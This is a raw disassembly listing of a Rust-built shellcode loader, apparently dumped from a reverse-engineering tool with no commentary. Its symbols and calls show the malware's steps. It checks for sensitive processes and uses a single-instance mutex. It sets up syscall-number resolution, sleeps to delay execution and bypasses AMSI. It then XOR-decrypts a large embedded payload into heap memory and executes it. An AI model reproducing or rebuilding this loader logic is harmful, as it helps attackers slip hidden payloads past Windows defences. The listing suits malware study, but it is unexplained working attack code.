add esp, 0xc
mov eax, dword [ebp - 0x160]
test eax, eax
je 0x1000a445
push 1
push eax
push dword [ebp - 0x5c]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x1000a457
push 1
push edi
push dword [ebp - 0x60]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x184]
test eax, eax
je 0x1000a472
push 1
push eax
push dword [ebp - 0x180]
call sym.___rust_dealloc
add esp, 0xc
lea edi, [ebp - 0x8c]
call sym.crypt_file::proc_sens::sensitive_processes::hf238424c9c08344e
lea eax, [0x10161ed8]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x6fa5d3ed
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::h9c87c57a031b3ddf
add esp, 8
mov ecx, 0x9e5e3cf3
xor ecx, dword [eax]
movzx eax, byte [eax + 4]
xor al, 0x73
mov dword [ebp - 0x8c], ecx
mov byte [ebp - 0x88], al
push 5
push edi
lea eax, [ebp - 0x58]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x58], 0x80000000
jne 0x1000a892
mov edi, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
push edi
push 0
push 0
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x1000a57d
mov byte [edi], 0
test esi, esi
je 0x1000a518
push 1
push esi
push edi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x12c]
mov edi, dword [ebp - 0x154]
lea esi, [eax + 4]
jmp 0x1000a536
add esi, 0xc
dec edi
je 0x1000a54c
mov eax, dword [esi - 4]
test eax, eax
je 0x1000a530
push 1
push eax
push dword [esi]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000a530
mov eax, dword [ebp - 0x19c]
test eax, eax
je 0x1000a56d
shl eax, 2
lea eax, [eax + eax*2]
push 4
push eax
push dword [ebp - 0x12c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, 1
add esp, 0x1a0
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], esi
call sym.crypt_file::ssn_solving::setup_ssn_solving::hfe49fb18bf04fc25
push 0x7d0
call sym.crypt_file::sleepModule::sleepModule::hfecd8ad85c5c5bcf
add esp, 4
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push 0x4dfd5
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x1000a8f6
mov esi, eax
push 0x4dfd5
push 0x1011e884
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor eax, eax
nop dword [eax + eax]
mov ecx, eax
and ecx, 0x1f
movzx ecx, byte [ecx + 0x1016c859]
xor byte [esi + eax], cl
inc eax
cmp eax, 0x4dfd5
jne 0x1000a5d0
push 0
push 0
push 0x40000
call sub.kernel32.dll_HeapCreate
mov ebx, eax
push 0x4dfd5
push 8
push eax
call sub.kernel32.dll_HeapAlloc
mov edi, eax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x1000a66f
mov dword [ebp - 0x18], edi
push 0xfa0
call sym.crypt_file::sleepModule::sleepModule::hfecd8ad85c5c5bcf
add esp, 4
lea eax, [ebp - 0x104]
push eax
call sym.crypt_file::amsi_care::setup_bypass::h7876e2ceb6bf3af5
add esp, 4
mov eax, dword [ebp - 0x104]
cmp eax, 0x80000000
je 0x1000a650
test eax, eax
je 0x1000a650
push 1
push eax
push dword [ebp - 0x100]
call sym.___rust_dealloc
add esp, 0xc
push 0x4dfd5
push esi
mov edi, dword [ebp - 0x18]
push edi
call sub.msvcrt.dll_memmove
add esp, 0xc
call edi
push dword [ebp - 0x18]
push 0
push ebx
call sub.kernel32.dll_HeapFree
push 1
push 0x4dfd5
push esi
call sym.___rust_dealloc
add esp, 0xc
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
mov byte [edi], 0
test esi, esi
jne 0x1000a50c
jmp 0x1000a518
mov eax, dword [ebp - 0x8c]
test eax, eax
je 0x1000a6b0
push 1
push eax
push dword [ebp - 0x88]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x80]
test eax, eax
je 0x1000a6c5
push 1
push eax
push dword [ebp - 0x7c]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x1000a6d7
push 1
push edi
push dword [ebp - 0x10]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x1000a6f2
push 1
push eax
push dword [ebp - 0x94]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x138]
mov esi, dword [ebp - 0x24]
lea edi, [ebp - 0x8c]
test eax, eax
je 0x1000a716
push 1
push eax
push dword [ebp - 0x134]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x124]
test eax, eax
je 0x1000a731
push 1
push eax
push dword [ebp - 0x120]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x118]
test eax, eax
je 0x1000a74c
push 1
push eax
push dword [ebp - 0x114]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x160]
test eax, eax
je 0x1000a764
push 1
push eax
push dword [ebp - 0x5c]
call sym.___rust_dealloc
add esp, 0xc
test esi, esi
je 0x1000a776
push 1
push esi
push dword [ebp - 0x60]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x184]
test eax, eax
je 0x1000a478
push 1
push eax
push dword [ebp - 0x180]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000a478
push 0
call sym.std::process::exit::hb5317983b35fb1f3
add esp, 4
jmp 0x1000a905
mov ecx, 0x1016cb2c
jmp 0x1000a7b5
mov ecx, 0x1016cb1c
push ecx
push dword [ebp - 0x1c]
push eax
call sym.core::panicking::panic_bounds_check::haf27547f44996d48
add esp, 0xc
jmp 0x1000a905
mov dword [ebp - 0x104], 4
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xfc], 4
mov dword [ebp - 0xf8], 0
push 0x1016cb3c
lea eax, [ebp - 0x104]
push eax
call sym.core::panicking::panic_fmt::h653fda680bf9012e
add esp, 8
jmp 0x1000a905
push 0x1016c87c
push 0
push 1
call sym.core::option::expect_failed::h12a726e1ec50c504
add esp, 0xc
jmp 0x1000a905
push 0x1016cb0c
push 0x13
push 0x1016caf8
call sym.core::panicking::panic::h2de0902fd6c3d9b1
add esp, 0xc
jmp 0x1000a905
lea eax, [ebp - 0x144]
push 0x1011e7f8
push 0x1011e818
push eax
push 0x37
push 0x1011e774
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000a905
movsd xmm0, qword [ebp - 0x54]
movsd qword [ebp - 0x178], xmm0
lea esi, [ebp - 0x178]
push 0x1016c88c
push 0x1011e808
push esi
push 0
push 1
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000a905
movsd xmm0, qword [ebp - 0x58]
movsd xmm1, qword [ebp - 0x50]
movsd qword [ebp - 0xfc], xmm1
movsd qword [ebp - 0x104], xmm0
push 0x1011e874
push 0x1011e828
lea eax, [ebp - 0x104]
push eax
push 0
push 1
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000a905
movsd xmm0, qword [ebp - 0x54]
movsd qword [ebp - 0x14c], xmm0
push 0x1016cae8
push 0x1011e808
push esi
push 0
lea eax, [ebp - 0x144]
push eax
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000a905
push 0x4dfd5
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
ud2